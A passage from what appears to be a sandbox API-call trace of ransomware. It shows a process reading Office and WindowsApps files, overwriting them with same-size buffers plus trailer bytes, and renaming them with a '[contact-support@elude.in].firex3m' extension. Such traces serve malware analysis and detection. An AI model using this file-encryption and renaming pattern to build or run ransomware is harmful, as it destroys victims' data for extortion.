dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0257.178] GetProcessHeap () returned 0x630000 [0257.178] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x666658 [0257.178] GetProcessHeap () returned 0x630000 [0257.178] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x6657e8 [0257.178] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.178] ReadFile (in: hFile=0x430, lpBuffer=0x666658, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x666658*, lpNumberOfBytesRead=0x46fff0c*=0x220, lpOverlapped=0x0) returned 1 [0257.214] GetProcessHeap () returned 0x630000 [0257.214] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0257.214] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.214] WriteFile (in: hFile=0x430, lpBuffer=0x6657e8*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6657e8*, lpNumberOfBytesWritten=0x46fff0c*=0x220, lpOverlapped=0x0) returned 1 [0257.214] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.214] WriteFile (in: hFile=0x430, lpBuffer=0x665a07*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x665a07*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0257.214] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.214] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0257.214] CloseHandle (hObject=0x430) returned 1 [0257.215] GetProcessHeap () returned 0x630000 [0257.215] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6657e8 | out: hHeap=0x630000) returned 1 [0257.215] GetProcessHeap () returned 0x630000 [0257.215] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x666658 | out: hHeap=0x630000) returned 1 [0257.215] GetProcessHeap () returned 0x630000 [0257.215] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0257.215] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.215] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\INDUST.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b5591d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f435227, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x46ffd20, dwReserved1=0x666658, cFileName="INDUST.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDUST~1.FIR")) returned 0x6d5480 [0257.215] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0257.215] Sleep (dwMilliseconds=0x1) [0257.239] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\THMBNAIL.PNG", len=0x70 | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\THMBNAIL.PNG") returned 1 [0257.239] GetProcessHeap () returned 0x630000 [0257.239] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cd0) returned 0x6fe3bb0 [0257.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0257.240] CloseHandle (hObject=0x430) returned 1 [0257.240] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.240] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\evrgreen\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\evrgreen\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.241] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.241] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b2f705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d51c0 [0257.241] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0257.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\evrgreen\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0257.241] GetProcessHeap () returned 0x630000 [0257.241] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7ec1) returned 0x73bd838 [0257.241] GetProcessHeap () returned 0x630000 [0257.241] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7ec1) returned 0x718b7d8 [0257.242] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.242] ReadFile (in: hFile=0x430, lpBuffer=0x73bd838, nNumberOfBytesToRead=0x7ea0, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73bd838*, lpNumberOfBytesRead=0x46fff0c*=0x7ea0, lpOverlapped=0x0) returned 1 [0259.946] GetProcessHeap () returned 0x630000 [0259.946] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0259.946] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.946] WriteFile (in: hFile=0x430, lpBuffer=0x718b7d8*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x718b7d8*, lpNumberOfBytesWritten=0x46fff0c*=0x7ea0, lpOverlapped=0x0) returned 1 [0259.947] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.947] WriteFile (in: hFile=0x430, lpBuffer=0x7193677*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7193677*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0259.947] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.947] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0259.947] CloseHandle (hObject=0x430) returned 1 [0259.947] GetProcessHeap () returned 0x630000 [0259.947] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718b7d8 | out: hHeap=0x630000) returned 1 [0261.921] GetProcessHeap () returned 0x630000 [0261.922] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73bd838 | out: hHeap=0x630000) returned 1 [0261.922] GetProcessHeap () returned 0x630000 [0261.922] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0261.922] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.965] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b2f705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60e2aa36, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7ed5, dwReserved0=0xb407496, dwReserved1=0x73bd830, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5380 [0261.965] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0261.965] Sleep (dwMilliseconds=0x1) [0263.414] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\193.png", len=0x7a | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\193.png") returned 1 [0263.414] GetProcessHeap () returned 0x630000 [0263.414] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d00) returned 0x6fe3bb0 [0263.416] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\193.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\193.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.418] Sleep (dwMilliseconds=0x1) [0263.428] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\192.png", len=0x7a | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\192.png") returned 1 [0263.428] GetProcessHeap () returned 0x630000 [0263.428] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cfc) returned 0x6fe3bb0 [0263.428] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\192.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\192.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.430] Sleep (dwMilliseconds=0x1) [0263.444] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\188.png", len=0x7a | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\188.png") returned 1 [0263.444] GetProcessHeap () returned 0x630000 [0263.444] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cec) returned 0x6fe3bb0 [0263.445] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\188.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\188.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.446] Sleep (dwMilliseconds=0x1) [0263.459] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\187.png", len=0x7a | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\187.png") returned 1 [0263.459] GetProcessHeap () returned 0x630000 [0263.459] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ce8) returned 0x6fe3bb0 [0263.459] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\187.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\187.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.461] Sleep (dwMilliseconds=0x1) [0263.477] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\184.png", len=0x7a | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\184.png") returned 1 [0263.477] GetProcessHeap () returned 0x630000 [0263.477] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cdc) returned 0x6fe3bb0 [0263.477] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\184.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\184.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.480] Sleep (dwMilliseconds=0x1) [0264.603] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", len=0x63 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0264.603] GetProcessHeap () returned 0x630000 [0264.603] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c30) returned 0x6fe3bb0 [0264.604] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.606] Sleep (dwMilliseconds=0x1) [0266.179] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\ADO210.CHM", len=0x6a | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\ADO210.CHM") returned 1 [0266.179] GetProcessHeap () returned 0x630000 [0266.179] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bc0) returned 0x6fe3bb0 [0266.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\ADO210.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\ado210.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0266.181] CloseHandle (hObject=0x4dc) returned 1 [0266.181] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0266.181] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\ADO210.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\ADO210.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\ado210.chm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0266.182] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.182] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\ADO210.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb92ab57, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb92ab57, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x74006e, dwReserved1=0x630061, cFileName="ADO210.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADO210~1.FIR")) returned 0x6d4f40 [0266.182] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0266.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\ADO210.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\ado210.chm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0266.182] GetProcessHeap () returned 0x630000 [0266.182] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ee88b8 [0266.182] GetProcessHeap () returned 0x630000 [0266.182] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73282e0 [0266.182] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.182] ReadFile (in: hFile=0x4dc, lpBuffer=0x6ee88b8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee88b8*, lpNumberOfBytesRead=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0274.614] GetProcessHeap () returned 0x630000 [0274.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0274.614] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.615] WriteFile (in: hFile=0x4dc, lpBuffer=0x73282e0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73282e0*, lpNumberOfBytesWritten=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0274.615] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.615] WriteFile (in: hFile=0x4dc, lpBuffer=0x73336df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73336df*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0274.617] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.617] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0274.617] CloseHandle (hObject=0x4dc) returned 1 [0274.617] GetProcessHeap () returned 0x630000 [0274.617] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73282e0 | out: hHeap=0x630000) returned 1 [0274.617] GetProcessHeap () returned 0x630000 [0274.617] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee88b8 | out: hHeap=0x630000) returned 1 [0274.617] GetProcessHeap () returned 0x630000 [0274.617] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0274.617] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0274.618] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\ADO210.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb92ab57, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb92ab57, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69a130a0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x19a423, dwReserved0=0xb407496, dwReserved1=0x6ee88b0, cFileName="ADO210.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADO210~1.FIR")) returned 0x6d54c0 [0274.618] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0274.618] Sleep (dwMilliseconds=0x1) [0274.620] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-48.png", len=0x8f | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-48.png") returned 1 [0274.620] GetProcessHeap () returned 0x630000 [0274.620] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c58) returned 0x6fe3bb0 [0274.620] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\fileicons\\filelogoextensions.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.622] Sleep (dwMilliseconds=0x1) [0274.638] SysReAllocStringLen (in: 